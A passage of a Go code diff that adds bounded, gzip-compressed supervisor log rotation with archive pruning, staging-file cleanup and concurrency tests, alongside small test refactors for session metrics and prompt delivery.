+// in the fresh log.
+func rotateSupervisorLog(path string, now time.Time, warn io.Writer) error {
+	src, err := os.Open(path)
+	if err != nil {
+		return fmt.Errorf("opening supervisor log %s for archiving: %w", path, err)
+	}
+	defer src.Close() //nolint:errcheck // read-only handle
+
+	tmp, err := stageCompressedSupervisorLog(src, path)
+	if err != nil {
+		return err
+	}
+	// Probe one byte past the bounded copy to learn whether a tail was
+	// dropped. A probe error is treated as end-of-input: the archive
+	// already holds everything the bounded copy could read, and the worst
+	// outcome of a misread here is a missing warning line.
+	var probe [1]byte
+	n, _ := src.Read(probe[:])
+	tailDropped := n > 0
+
+	archive, err := supervisorLogArchivePath(path, now)
+	if err != nil {
+		os.Remove(tmp) //nolint:errcheck // best-effort cleanup of staged archive
+		return err
+	}
+	if err := os.Rename(tmp, archive); err != nil {
+		os.Remove(tmp) //nolint:errcheck // best-effort cleanup of staged archive
+		return fmt.Errorf("finalizing supervisor log archive %s: %w", archive, err)
+	}
+	if err := os.Truncate(path, 0); err != nil {
+		return fmt.Errorf("truncating supervisor log %s after archiving to %s: %w", path, archive, err)
+	}
+	if tailDropped {
+		fmt.Fprintf(warn, "gc supervisor: supervisor log %s exceeded the %d-byte archive bound; archived the first %d bytes to %s and dropped the rest\n", //nolint:errcheck // best-effort warning
+			path, supervisorLogArchiveMaxBytes, supervisorLogArchiveMaxBytes, archive)
+	}
+	return nil
+}
+
+// stageCompressedSupervisorLog gzip-streams at most
+// supervisorLogArchiveMaxBytes of src into a uniquely named staging file
+// created with os.CreateTemp next to the log, and returns the staging
+// path. The per-rotation staging name is load-bearing: a fixed name lets a
+// concurrent rotation O_TRUNC this one's staged bytes mid-write, which is
+// exactly how racing supervisor starts used to corrupt the archive and
+// then truncate away the only intact copy. The bounded copy keeps a
+// pathological log from tying the rotation to unbounded input.
+func stageCompressedSupervisorLog(src io.Reader, path string) (string, error) {
+	dst, err := os.CreateTemp(filepath.Dir(path), filepath.Base(path)+".archive-*.tmp")
+	if err != nil {
+		return "", fmt.Errorf("creating supervisor log archive staging file next to %s: %w", path, err)
+	}
+	tmp := dst.Name()
+	gz := gzip.NewWriter(dst)
+	if _, err := io.Copy(gz, io.LimitReader(src, supervisorLogArchiveMaxBytes)); err != nil {
+		dst.Close()    //nolint:errcheck // surfacing the copy error instead
+		os.Remove(tmp) //nolint:errcheck // best-effort cleanup of staged archive
+		return "", fmt.Errorf("compressing supervisor log into %s: %w", tmp, err)
+	}
+	if err := gz.Close(); err != nil {
+		dst.Close()    //nolint:errcheck // surfacing the gzip error instead
+		os.Remove(tmp) //nolint:errcheck // best-effort cleanup of staged archive
+		return "", fmt.Errorf("flushing supervisor log archive %s: %w", tmp, err)
+	}
+	if err := dst.Close(); err != nil {
+		os.Remove(tmp) //nolint:errcheck // best-effort cleanup of staged archive
+		return "", fmt.Errorf("closing supervisor log archive staging file %s: %w", tmp, err)
+	}
+	return tmp, nil
+}
+
+// supervisorLogArchivePath returns a not-yet-existing archive path of the
+// form <path>.archive-<UTC timestamp>.gz, appending a numeric
+// disambiguator when a rotation already landed in the same second.
+func supervisorLogArchivePath(path string, now time.Time) (string, error) {
+	base := fmt.Sprintf("%s.archive-%s", path, now.UTC().Format(supervisorLogArchiveTimestampLayout))
+	candidate := base + ".gz"
+	for i := 1; ; i++ {
+		_, err := os.Stat(candidate)
+		if os.IsNotExist(err) {
+			return candidate, nil
+		}
+		if err != nil {
+			return "", fmt.Errorf("probing supervisor log archive name %s: %w", candidate, err)
+		}
+		candidate = fmt.Sprintf("%s-%d.gz", base, i)
+	}
+}
+
+// pruneSupervisorLogArchives deletes the oldest supervisor log archives so
+// at most keep remain, ordered by modification time with filename as the
+// tiebreaker.
+func pruneSupervisorLogArchives(path string, keep int) error {
+	if keep < 1 {
+		keep = 1
+	}
+	dir := filepath.Dir(path)
+	prefix := filepath.Base(path) + ".archive-"
+	entries, err := os.ReadDir(dir)
+	if err != nil {
+		return fmt.Errorf("listing supervisor log archives in %s: %w", dir, err)
+	}
+	type archive struct {
+		name string
+		mod  time.Time
+	}
+	var archives []archive
+	for _, e := range entries {
+		name := e.Name()
+		if e.IsDir() || !strings.HasPrefix(name, prefix) || !strings.HasSuffix(name, ".gz") {
+			continue
+		}
+		info, err := e.Info()
+		if os.IsNotExist(err) {
+			continue // removed concurrently; nothing to prune
+		}
+		if err != nil {
+			return fmt.Errorf("inspecting supervisor log archive %s: %w", name, err)
+		}
+		archives = append(archives, archive{name: name, mod: info.ModTime()})
+	}
+	if len(archives) <= keep {
+		return nil
+	}
+	sort.Slice(archives, func(i, j int) bool {
+		if archives[i].mod.Equal(archives[j].mod) {
+			return archives[i].name < archives[j].name
+		}
+		return archives[i].mod.Before(archives[j].mod)
+	})
+	for _, a := range archives[:len(archives)-keep] {
+		stale := filepath.Join(dir, a.name)
+		if err := os.Remove(stale); err != nil && !os.IsNotExist(err) {
+			return fmt.Errorf("pruning supervisor log archive %s: %w", stale, err)
+		}
+	}
+	return nil
+}
+
+// sweepSupervisorLogStagingFiles removes <log>.archive-*.tmp leftovers
+// from rotations that crashed between staging and rename. Staging names
+// are unique per rotation (os.CreateTemp), so without a sweep the
+// leftovers would accumulate one file per crashed rotation forever. Runs
+// after a successful rotation, under the supervisor single-instance lock,
+// so no concurrent rotation can be mid-staging while the sweep deletes.
+func sweepSupervisorLogStagingFiles(path string) error {
+	stale, err := filepath.Glob(path + ".archive-*.tmp")
+	if err != nil {
+		return fmt.Errorf("globbing supervisor log staging leftovers for %s: %w", path, err)
+	}
+	for _, p := range stale {
+		if err := os.Remove(p); err != nil && !os.IsNotExist(err) {
+			return fmt.Errorf("removing stale supervisor log staging file %s: %w", p, err)
+		}
+	}
+	return nil
+}
diff --git a/cmd/gc/supervisor_log_rotation_test.go b/cmd/gc/supervisor_log_rotation_test.go
new file mode 100644
index 0000000000..e64c84c4c0
--- /dev/null
+++ b/cmd/gc/supervisor_log_rotation_test.go
@@ -0,0 +1,447 @@
+package main
+
+import (
+	"bytes"
+	"compress/gzip"
+	"errors"
+	"io"
+	"os"
+	"path/filepath"
+	"sort"
+	"strings"
+	"sync"
+	"testing"
+	"time"
+
+	"github.com/gastownhall/gascity/internal/supervisor"
+)
+
+// setSupervisorLogRotation lowers the supervisor log rotation tunables for
+// the duration of a test and restores the defaults afterwards.
+func setSupervisorLogRotation(t *testing.T, maxBytes int64, keep int) {
+	t.Helper()
+	prevMax, prevKeep := supervisorLogMaxBytes, supervisorLogKeepArchives
+	supervisorLogMaxBytes, supervisorLogKeepArchives = maxBytes, keep
+	t.Cleanup(func() {
+		supervisorLogMaxBytes, supervisorLogKeepArchives = prevMax, prevKeep
+	})
+}
+
+// gunzipSupervisorLogArchive decompresses one supervisor log archive and
+// returns its contents.
+func gunzipSupervisorLogArchive(t *testing.T, path string) string {
+	t.Helper()
+	f, err := os.Open(path)
+	if err != nil {
+		t.Fatalf("open archive %s: %v", path, err)
+	}
+	defer f.Close() //nolint:errcheck // read-only test handle
+	gz, err := gzip.NewReader(f)
+	if err != nil {
+		t.Fatalf("gzip reader for %s: %v", path, err)
+	}
+	defer gz.Close() //nolint:errcheck // read-only test handle
+	data, err := io.ReadAll(gz)
+	if err != nil {
+		t.Fatalf("decompress %s: %v", path, err)
+	}
+	return string(data)
+}
+
+// listSupervisorLogArchives returns the sorted archive paths next to the
+// given supervisor log path.
+func listSupervisorLogArchives(t *testing.T, path string) []string {
+	t.Helper()
+	matches, err := filepath.Glob(path + ".archive-*.gz")
+	if err != nil {
+		t.Fatalf("glob archives for %s: %v", path, err)
+	}
+	sort.Strings(matches)
+	return matches
+}
+
+func TestMaybeRotateSupervisorLogBelowCapIsNoop(t *testing.T) {
+	logPath := filepath.Join(t.TempDir(), "supervisor.log")
+	setSupervisorLogRotation(t, 1<<20, 3)
+	content := "steady operational line\n"
+	if err := os.WriteFile(logPath, []byte(content), 0o644); err != nil {
+		t.Fatalf("seed log: %v", err)
+	}
+
+	if err := maybeRotateSupervisorLog(logPath, time.Now(), io.Discard); err != nil {
+		t.Fatalf("maybeRotateSupervisorLog: %v", err)
+	}
+
+	got, err := os.ReadFile(logPath)
+	if err != nil {
+		t.Fatalf("read log: %v", err)
+	}
+	if string(got) != content {
+		t.Fatalf("log = %q, want untouched %q", got, content)
+	}
+	if archives := listSupervisorLogArchives(t, logPath); len(archives) != 0 {
+		t.Fatalf("archives = %v, want none below cap", archives)
+	}
+}
+
+func TestMaybeRotateSupervisorLogMissingFileIsNoop(t *testing.T) {
+	logPath := filepath.Join(t.TempDir(), "supervisor.log")
+	setSupervisorLogRotation(t, 1, 3)
+
+	if err := maybeRotateSupervisorLog(logPath, time.Now(), io.Discard); err != nil {
+		t.Fatalf("maybeRotateSupervisorLog on missing file: %v", err)
+	}
+	if _, err := os.Stat(logPath); !os.IsNotExist(err) {
+		t.Fatalf("stat log = %v, want not-exist (rotation must not create it)", err)
+	}
+}
+
+func TestMaybeRotateSupervisorLogArchivesAndTruncates(t *testing.T) {
+	logPath := filepath.Join(t.TempDir(), "supervisor.log")
+	setSupervisorLogRotation(t, 1024, 3)
+	content := strings.Repeat("api: listen 127.0.0.1:8372 failed: bind: address already in use\n", 64)
+	if err := os.WriteFile(logPath, []byte(content), 0o644); err != nil {
+		t.Fatalf("seed log: %v", err)
+	}
+
+	now := time.Date(2026, 7, 3, 10, 11, 12, 0, time.UTC)
+	if err := maybeRotateSupervisorLog(logPath, now, io.Discard); err != nil {
+		t.Fatalf("maybeRotateSupervisorLog: %v", err)
+	}
+
+	info, err := os.Stat(logPath)
+	if err != nil {
+		t.Fatalf("stat active log after rotation: %v", err)
+	}
+	if info.Size() != 0 {
+		t.Fatalf("active log size = %d, want 0 after rotation", info.Size())
+	}
+
+	archives := listSupervisorLogArchives(t, logPath)
+	want := []string{logPath + ".archive-20260703T101112Z.gz"}
+	if len(archives) != 1 || archives[0] != want[0] {
+		t.Fatalf("archives = %v, want %v", archives, want)
+	}
+	if got := gunzipSupervisorLogArchive(t, archives[0]); got != content {
+		t.Fatalf("archive content mismatch: got %d bytes, want %d bytes", len(got), len(content))
+	}
+	if _, err := os.Stat(logPath + ".archive.tmp"); !os.IsNotExist(err) {
+		t.Fatalf("stat archive tmp = %v, want not-exist after successful rotation", err)
+	}
+}
+
+// TestMaybeRotateSupervisorLogPreservesAppendWriters proves the
+// copy-then-truncate strategy keeps already-open O_APPEND writers attached
+// to the active file — the shape service managers use (systemd
+// StandardOutput=append:, launchd StandardOutPath). A rename-based rotation
+// would divert those writers into the archive.
+func TestMaybeRotateSupervisorLogPreservesAppendWriters(t *testing.T) {
+	logPath := filepath.Join(t.TempDir(), "supervisor.log")
+	setSupervisorLogRotation(t, 8, 3)
+	if err := os.WriteFile(logPath, []byte("historic crash-loop noise\n"), 0o644); err != nil {
+		t.Fatalf("seed log: %v", err)
+	}
+
+	writer, err := os.OpenFile(logPath, os.O_CREATE|os.O_APPEND|os.O_WRONLY, 0o644)
+	if err != nil {
+		t.Fatalf("open append writer: %v", err)
+	}
+	defer writer.Close() //nolint:errcheck // test handle
+
+	if err := maybeRotateSupervisorLog(logPath, time.Now(), io.Discard); err != nil {
+		t.Fatalf("maybeRotateSupervisorLog: %v", err)
+	}
+
+	if _, err := writer.WriteString("post-rotation line\n"); err != nil {
+		t.Fatalf("write via pre-rotation fd: %v", err)
+	}
+	got, err := os.ReadFile(logPath)
+	if err != nil {
+		t.Fatalf("read active log: %v", err)
+	}
+	if string(got) != "post-rotation line\n" {
+		t.Fatalf("active log = %q, want only the post-rotation line at offset 0", got)
+	}
+}
+
+func TestMaybeRotateSupervisorLogSameSecondRotationsGetUniqueNames(t *testing.T) {
+	logPath := filepath.Join(t.TempDir(), "supervisor.log")
+	setSupervisorLogRotation(t, 8, 5)
+	now := time.Date(2026, 7, 3, 10, 11, 12, 0, time.UTC)
+
+	for _, generation := range []string{"first generation\n", "second generation\n"} {
+		if err := os.WriteFile(logPath, []byte(generation), 0o644); err != nil {
+			t.Fatalf("seed log: %v", err)
+		}
+		if err := maybeRotateSupervisorLog(logPath, now, io.Discard); err != nil {
+			t.Fatalf("maybeRotateSupervisorLog(%q): %v", generation, err)
+		}
+	}
+
+	archives := listSupervisorLogArchives(t, logPath)
+	want := []string{
+		logPath + ".archive-20260703T101112Z-1.gz",
+		logPath + ".archive-20260703T101112Z.gz",
+	}
+	if len(archives) != 2 || archives[0] != want[0] || archives[1] != want[1] {
+		t.Fatalf("archives = %v, want %v", archives, want)
+	}
+	if got := gunzipSupervisorLogArchive(t, logPath+".archive-20260703T101112Z.gz"); got != "first generation\n" {
+		t.Fatalf("first archive = %q, want first generation", got)
+	}
+	if got := gunzipSupervisorLogArchive(t, logPath+".archive-20260703T101112Z-1.gz"); got != "second generation\n" {
+		t.Fatalf("second archive = %q, want second generation", got)
+	}
+}
+
+func TestMaybeRotateSupervisorLogPrunesOldestArchives(t *testing.T) {
+	dir := t.TempDir()
+	logPath := filepath.Join(dir, "supervisor.log")
+	setSupervisorLogRotation(t, 8, 2)
+
+	now := time.Date(2026, 7, 3, 10, 11, 12, 0, time.UTC)
+	preexisting := []struct {
+		name string
+		mod  time.Time
+	}{
+		{"supervisor.log.archive-20260703T070000Z.gz", now.Add(-3 * time.Hour)},
+		{"supervisor.log.archive-20260703T080000Z.gz", now.Add(-2 * time.Hour)},
+		{"supervisor.log.archive-20260703T090000Z.gz", now.Add(-1 * time.Hour)},
+	}
+	for _, a := range preexisting {
+		p := filepath.Join(dir, a.name)
+		if err := os.WriteFile(p, []byte("old archive"), 0o644); err != nil {
+			t.Fatalf("seed archive %s: %v", a.name, err)
+		}
+		if err := os.Chtimes(p, a.mod, a.mod); err != nil {
+			t.Fatalf("chtimes %s: %v", a.name, err)
+		}
+	}
+	if err := os.WriteFile(logPath, []byte("over-cap active log\n"), 0o644); err != nil {
+		t.Fatalf("seed log: %v", err)
+	}
+
+	if err := maybeRotateSupervisorLog(logPath, now, io.Discard); err != nil {
+		t.Fatalf("maybeRotateSupervisorLog: %v", err)
+	}
+
+	archives := listSupervisorLogArchives(t, logPath)
+	want := []string{
+		logPath + ".archive-20260703T090000Z.gz",
+		logPath + ".archive-20260703T101112Z.gz",
+	}
+	if len(archives) != 2 || archives[0] != want[0] || archives[1] != want[1] {
+		t.Fatalf("archives = %v, want oldest pruned down to %v", archives, want)
+	}
+}
+
+func TestMaybeRotateSupervisorLogDirectoryPathErrors(t *testing.T) {
+	logPath := filepath.Join(t.TempDir(), "supervisor.log")
+	setSupervisorLogRotation(t, 1, 3)
+	if err := os.Mkdir(logPath, 0o700); err != nil {
+		t.Fatalf("seed log path as directory: %v", err)
+	}
+
+	err := maybeRotateSupervisorLog(logPath, time.Now(), io.Discard)
+	if err == nil || !strings.Contains(err.Error(), "is a directory") {
+		t.Fatalf("maybeRotateSupervisorLog on directory = %v, want is-a-directory error", err)
+	}
+}
+
+// TestMaybeRotateSupervisorLogBoundsArchiveAndWarnsOnDroppedTail pins the
+// archive bound: an oversized log is archived only up to
+// supervisorLogArchiveMaxBytes, the tail beyond the bound is dropped with a
+// warning, and the active log is still truncated.
+func TestMaybeRotateSupervisorLogBoundsArchiveAndWarnsOnDroppedTail(t *testing.T) {
+	logPath := filepath.Join(t.TempDir(), "supervisor.log")
+	setSupervisorLogRotation(t, 1024, 3)
+	prevBound := supervisorLogArchiveMaxBytes
+	supervisorLogArchiveMaxBytes = 2048
+	t.Cleanup(func() { supervisorLogArchiveMaxBytes = prevBound })
+
+	content := strings.Repeat("b", 8192)
+	if err := os.WriteFile(logPath, []byte(content), 0o644); err != nil {
+		t.Fatalf("seed log: %v", err)
+	}
+
+	var warn bytes.Buffer
+	if err := maybeRotateSupervisorLog(logPath, time.Now(), &warn); err != nil {
+		t.Fatalf("maybeRotateSupervisorLog: %v", err)
+	}
+
+	archives := listSupervisorLogArchives(t, logPath)
+	if len(archives) != 1 {
+		t.Fatalf("archives = %v, want exactly one", archives)
+	}
+	if got := gunzipSupervisorLogArchive(t, archives[0]); got != content[:2048] {
+		t.Fatalf("archive holds %d bytes, want the first 2048 bytes of the log", len(got))
+	}
+	info, err := os.Stat(logPath)
+	if err != nil {
+		t.Fatalf("stat active log: %v", err)
+	}
+	if info.Size() != 0 {
+		t.Fatalf("active log size = %d, want 0 after rotation", info.Size())
+	}
+	if !strings.Contains(warn.String(), "archive bound") {
+		t.Fatalf("warn = %q, want dropped-tail notice mentioning the archive bound", warn.String())
+	}
+}
+
+// TestMaybeRotateSupervisorLogSweepsStagingLeftovers pins the staging
+// sweep: .archive-*.tmp leftovers from rotations that crashed between
+// staging and rename are removed by the next successful rotation.
+func TestMaybeRotateSupervisorLogSweepsStagingLeftovers(t *testing.T) {
+	logPath := filepath.Join(t.TempDir(), "supervisor.log")
+	setSupervisorLogRotation(t, 1024, 3)
+	leftover := logPath + ".archive-12345.tmp"
+	if err := os.WriteFile(leftover, []byte("half-staged archive"), 0o644); err != nil {
+		t.Fatalf("seed staging leftover: %v", err)
+	}
+	content := strings.Repeat("api: listen 127.0.0.1:8372 failed\n", 64)
+	if err := os.WriteFile(logPath, []byte(content), 0o644); err != nil {
+		t.Fatalf("seed log: %v", err)
+	}
+
+	if err := maybeRotateSupervisorLog(logPath, time.Now(), io.Discard); err != nil {
+		t.Fatalf("maybeRotateSupervisorLog: %v", err)
+	}
+
+	if _, err := os.Stat(leftover); !os.IsNotExist(err) {
+		t.Fatalf("stat staging leftover = %v, want swept away", err)
+	}
+	if archives := listSupervisorLogArchives(t, logPath); len(archives) != 1 {
+		t.Fatalf("archives = %v, want exactly one intact archive", archives)
+	}
+}
+
+// tryGunzipSupervisorLogArchive decompresses one archive, returning an
+// error instead of failing the test so concurrency tests can treat a
+// corrupt archive as "contributes nothing" rather than aborting.
+func tryGunzipSupervisorLogArchive(path string) (string, error) {
+	f, err := os.Open(path)
+	if err != nil {
+		return "", err
+	}
+	defer f.Close() //nolint:errcheck // read-only test handle
+	gz, err := gzip.NewReader(f)
+	if err != nil {
+		return "", err
+	}
+	defer gz.Close() //nolint:errcheck // read-only test handle
+	data, err := io.ReadAll(gz)
+	if err != nil {
+		return "", err
+	}
+	return string(data), nil
+}
+
+// TestMaybeRotateSupervisorLogConcurrentRotationsNeverLoseContent is the
+// concurrency regression for the #3897 hardening. Rotation used to stage
+// every racer's archive at one fixed path (<log>.archive.tmp), so one
+// racer's O_TRUNC wiped another's staged bytes before its rename: the
+// corrupt archive was renamed into place and the truncate then destroyed
+// the only intact copy of the log. Production serializes rotation under
+// the supervisor single-instance lock; this test drives the unlocked
+// rotation directly to pin the second layer of defense — per-rotation
+// os.CreateTemp staging must never lose content even without the lock.
+func TestMaybeRotateSupervisorLogConcurrentRotationsNeverLoseContent(t *testing.T) {
+	// keep must exceed the racer count: pruning a racer's full archive
+	// mid-race would read as a false content loss.
+	setSupervisorLogRotation(t, 1024, 32)
+	// Multi-megabyte content forces the gzip copy through several write
+	// syscalls, so racing rotations genuinely interleave instead of each
+	// landing one atomic write.
+	content := strings.Repeat("api: listen 127.0.0.1:8372 failed: bind: address already in use\n", 32*1024)
+
+	const rounds = 10
+	const racers = 16
+	for round := 0; round < rounds; round++ {
+		logPath := filepath.Join(t.TempDir(), "supervisor.log")
+		if err := os.WriteFile(logPath, []byte(content), 0o644); err != nil {
+			t.Fatalf("round %d: seed log: %v", round, err)
+		}
+
+		start := make(chan struct{})
+		var wg sync.WaitGroup
+		for i := 0; i < racers; i++ {
+			wg.Add(1)
+			go func(i int) {
+				defer wg.Done()
+				<-start
+				// Stagger arrivals across the rotation window so late
+				// racers hit every phase of an in-flight rotation, the
+				// shape of supervisor processes racing at startup.
+				time.Sleep(time.Duration(i) * 500 * time.Microsecond)
+				// Individual racers may error (losing a staging or rename
+				// race); the invariant under test is content survival, not
+				// per-call success.
+				_ = maybeRotateSupervisorLog(logPath, time.Now(), io.Discard)
+			}(i)
+		}
+		close(start)
+		wg.Wait()
+
+		fullCopies := 0
+		archives := listSupervisorLogArchives(t, logPath)
+		for _, a := range archives {
+			if got, err := tryGunzipSupervisorLogArchive(a); err == nil && got == content {
+				fullCopies++
+			}
+		}
+		if active, err := os.ReadFile(logPath); err == nil && string(active) == content {
+			fullCopies++
+		}
+		if fullCopies == 0 {
+			t.Fatalf("round %d: original log content lost: no intact copy across %d archives and the active log", round, len(archives))
+		}
+	}
+}
+
+// TestRunSupervisorRotatesOversizedLogAtStartup confirms the wiring: a
+// supervisor start with an over-cap supervisor.log archives it before any
+// new output is appended, so a service-manager crash-loop (the #3897
+// incident shape: launchd KeepAlive relaunching a bind-failing supervisor
+// every few seconds for two days, 645MB log) is bounded at the cap plus a
+// handful of compressed archives.
+func TestRunSupervisorRotatesOversizedLogAtStartup(t *testing.T) {
+	gcHome := t.TempDir()
+	t.Setenv("GC_HOME", gcHome)
+	setSupervisorLogRotation(t, 1024, 3)
+
+	logPath := filepath.Join(gcHome, "supervisor.log")
+	historic := strings.Repeat("api: listen 127.0.0.1:8372 failed: bind: address already in use\n", 64)
+	if err := os.WriteFile(logPath, []byte(historic), 0o644); err != nil {
+		t.Fatalf("seed oversized log: %v", err)
+	}
+
+	oldLoadConfig := supervisorLoadConfig
+	supervisorLoadConfig = func(string) (supervisor.Config, error) {
+		return supervisor.Config{}, errors.New("stop after log setup")
+	}
+	t.Cleanup(func() { supervisorLoadConfig = oldLoadConfig })
+
+	var stdout, stderr bytes.Buffer
+	if code := runSupervisor(&stdout, &stderr); code != 1 {
+		t.Fatalf("runSupervisor code = %d, want 1; stdout=%q stderr=%q", code, stdout.String(), stderr.String())
+	}
+
+	archives := listSupervisorLogArchives(t, logPath)
+	if len(archives) != 1 {
+		t.Fatalf("archives = %v, want exactly one after startup rotation", archives)
+	}
+	if got := gunzipSupervisorLogArchive(t, archives[0]); got != historic {
+		t.Fatalf("archive content mismatch: got %d bytes, want %d bytes", len(got), len(historic))
+	}
+
+	active, err := os.ReadFile(logPath)
+	if err != nil {
+		t.Fatalf("read active log: %v", err)
+	}
+	if strings.Contains(string(active), "address already in use") {
+		t.Fatalf("active log still holds pre-rotation content: %q", active)
+	}
+	if !strings.Contains(string(active), "stop after log setup") {
+		t.Fatalf("active log = %q, want the new instance's output after rotation", active)
+	}
+}
diff --git a/cmd/gc/telemetry_lifecycle_metrics_test.go b/cmd/gc/telemetry_lifecycle_metrics_test.go
index b29bfc8d90..cd085df87a 100644
--- a/cmd/gc/telemetry_lifecycle_metrics_test.go
+++ b/cmd/gc/telemetry_lifecycle_metrics_test.go
@@ -286,7 +286,7 @@ func TestFinalizeDrainAckStoppedSession_RecordsAgentStopMetric(t *testing.T) {
 		session.Metadata = patch.Apply(session.Metadata)
 
 		finalizeDrainAckStoppedSession(
-			"", env.cfg, env.store, nil, &session, identity, true,
+			"", env.cfg, env.store, nil, &session, sessionpkg.InfoFromPersistedBead(session), identity, true,
 			newFakeDrainOps(), env.dt, env.clk, rec, &env.stderr,
 		)
 
@@ -343,7 +343,7 @@ func TestDoHandoffRemote_RecordsAgentStopMetric(t *testing.T) {
 	}
 
 	var stdout, stderr bytes.Buffer
-	code := doHandoffRemote(store, rec, sp, sessionName, sessionName, "sender",
+	code := doHandoffRemote(store, store, rec, sp, sessionName, sessionName, "sender",
 		[]string{"Context refresh", "body"}, &stdout, &stderr)
 	if code != 0 {
 		t.Fatalf("code = %d, want 0; stderr: %s", code, stderr.String())
@@ -605,7 +605,7 @@ func TestRecordSessionKillStop_SkipOnUnknown(t *testing.T) {
 	t.Run("bead load failure records nothing", func(t *testing.T) {
 		reader := installManualMetricReader(t)
 
-		recordSessionKillStop(beads.Bead{}, errors.New("store unavailable"), nil)
+		recordSessionKillStop(sessionpkg.InfoFromPersistedBead(beads.Bead{}), errors.New("store unavailable"), nil)
 
 		if points := collectCounterDataPoints(t, reader, "gc.agent.stops.total"); len(points) != 0 {
 			t.Fatalf("gc.agent.stops.total datapoints = %+v, want none when the bead failed to load", points)
@@ -615,7 +615,7 @@ func TestRecordSessionKillStop_SkipOnUnknown(t *testing.T) {
 	t.Run("empty session name records nothing", func(t *testing.T) {
 		reader := installManualMetricReader(t)
 
-		recordSessionKillStop(beads.Bead{Metadata: map[string]string{"session_name": "  "}}, nil, nil)
+		recordSessionKillStop(sessionpkg.InfoFromPersistedBead(beads.Bead{Metadata: map[string]string{"session_name": "  "}}), nil, nil)
 
 		if points := collectCounterDataPoints(t, reader, "gc.agent.stops.total"); len(points) != 0 {
 			t.Fatalf("gc.agent.stops.total datapoints = %+v, want none for a blank session name", points)
@@ -625,10 +625,10 @@ func TestRecordSessionKillStop_SkipOnUnknown(t *testing.T) {
 	t.Run("loaded bead records the stop", func(t *testing.T) {
 		reader := installManualMetricReader(t)
 
-		recordSessionKillStop(beads.Bead{Metadata: map[string]string{
+		recordSessionKillStop(sessionpkg.InfoFromPersistedBead(beads.Bead{Metadata: map[string]string{
 			"session_name": "gascity--gc__worker",
 			"agent_name":   "gascity/gc.worker",
-		}}, nil, nil)
+		}}), nil, nil)
 
 		points := collectCounterDataPoints(t, reader, "gc.agent.stops.total")
 		if !hasDataPointWithStringAttrs(points, map[string]string{"agent": "gascity/gc.worker", "reason": "killed", "status": "ok"}) {
@@ -646,9 +646,9 @@ func TestRecordSessionKillStop_SkipOnUnknown(t *testing.T) {
 		// or template passes the session-name guard yet resolves to an empty
 		// agent identity. The RecordAgentStop backstop must drop it so the
 		// counter is never polluted with a blank, unjoinable agent series.
-		recordSessionKillStop(beads.Bead{Metadata: map[string]string{
+		recordSessionKillStop(sessionpkg.InfoFromPersistedBead(beads.Bead{Metadata: map[string]string{
 			"session_name": "gascity--gc__worker",
-		}}, nil, nil)
+		}}), nil, nil)
 
 		if points := collectCounterDataPoints(t, reader, "gc.agent.stops.total"); len(points) != 0 {
 			t.Fatalf("gc.agent.stops.total datapoints = %+v, want none when the agent identity resolves empty", points)
@@ -860,7 +860,7 @@ func TestFinalizeDrainAckStoppedSession_WitnessBranchDoesNotRecordMetric(t *test
 	}
 
 	finalizeDrainAckStoppedSession(
-		"", env.cfg, env.store, nil, &session, identity, true,
+		"", env.cfg, env.store, nil, &session, sessionpkg.InfoFromPersistedBead(session), identity, true,
 		newFakeDrainOps(), env.dt, env.clk, events.NewFake(), &env.stderr,
 	)
 
diff --git a/cmd/gc/template_resolve.go b/cmd/gc/template_resolve.go
index b60093eb89..affe7b1f4a 100644
--- a/cmd/gc/template_resolve.go
+++ b/cmd/gc/template_resolve.go
@@ -239,8 +239,8 @@ func resolveTemplate(p *agentBuildParams, cfgAgent *config.Agent, qualifiedName
 	// This is what real-world apps use to link beads to session logs.
 	sessionBeadID := ""
 	if p.sessionBeads != nil {
-		for _, b := range p.sessionBeads.Open() {
-			if b.Metadata["session_name"] == sessName {
+		for _, b := range p.sessionBeads.OpenInfos() {
+			if b.SessionNameMetadata == sessName {
 				sessionBeadID = b.ID
 				break
 			}
@@ -778,35 +778,16 @@ func sessionBackendEnvWithError(cityPath, rigRoot string, rigs []config.Rig) (ma
 // launch or nudge path, it marks the runtime env so SessionStart hooks can add
 // context without repeating the full startup prompt.
 func templateParamsToConfig(tp TemplateParams) runtime.Config {
-	var promptSuffix string
-	var promptFlag string
-	nudge := tp.Hints.Nudge
+	// SessionStart hooks can enrich context, but the startup prompt still needs
+	// a first-turn delivery mechanism. Without argv/flag/nudge delivery, freshly
+	// spawned workers sit idle at the provider prompt. The routing policy lives
+	// in the pure promptDelivery derivation.
+	delivery := promptDelivery(tp.Prompt, tp.IsACP, tp.ResolvedProvider, tp.Hints.Nudge)
+	promptSuffix := delivery.PromptSuffix
+	promptFlag := delivery.PromptFlag
+	nudge := delivery.Nudge
 	env := maps.Clone(tp.Env)
-	startupPromptDelivered := false
-	if tp.Prompt != "" {
-		// SessionStart hooks can enrich context, but the startup prompt still
-		// needs a first-turn delivery mechanism. Without argv/flag/nudge
-		// delivery, freshly spawned workers sit idle at the provider prompt.
-		switch {
-		case tp.IsACP:
-			nudge = prependStartupPromptToNudge(tp.Prompt, nudge)
-			startupPromptDelivered = true
-		case tp.ResolvedProvider != nil && tp.ResolvedProvider.PromptMode == "none":
-			nudge = prependStartupPromptToNudge(tp.Prompt, nudge)
-			startupPromptDelivered = true
-		default:
-			promptSuffix = shellquote.Quote(tp.Prompt)
-			startupPromptDelivered = promptSuffix != ""
-			if tp.ResolvedProvider != nil && tp.ResolvedProvider.PromptMode == "flag" {
-				if tp.ResolvedProvider.PromptFlag != "" {
-					promptFlag = tp.ResolvedProvider.PromptFlag
-				} else {
-					startupPromptDelivered = false
-				}
-			}
-		}
-	}
-	if startupPromptDelivered {
+	if delivery.Delivered {
 		if env == nil {
 			env = map[string]string{}
 		}
diff --git a/cmd/gc/template_resolve_phase2_test.go b/cmd/gc/template_resolve_phase2_test.go
index bbae80d3c9..741d4e750d 100644
--- a/cmd/gc/template_resolve_phase2_test.go
+++ b/cmd/gc/template_resolve_phase2_test.go
@@ -65,7 +65,7 @@ func selectedPhase2ProviderCases(t *testing.T) []phase2ProviderCase {
 			wantProcessNames:      []string{"node", "claude"},
 			wantEmitsPermission:   true,
 			wantModelOverride:     "sonnet",
-			wantModelOverrideArgs: []string{"--model", "claude-sonnet-4-6"},
+			wantModelOverrideArgs: []string{"--model", "claude-sonnet-5"},
 		},
 		{
 			profileID:             "codex/tmux-cli",
diff --git a/cmd/gc/testdata/doctor_check_names.golden b/cmd/gc/testdata/doctor_check_names.golden
index a2bc131bf8..6aa97e7de8 100644
--- a/cmd/gc/testdata/doctor_check_names.golden
+++ b/cmd/gc/testdata/doctor_check_names.golden
@@ -44,6 +44,7 @@ mcp-shared-target
 builtin-pack-imports
 packv2-import-state
 jsonl-archive
+pack-credentials
 tmux-binary
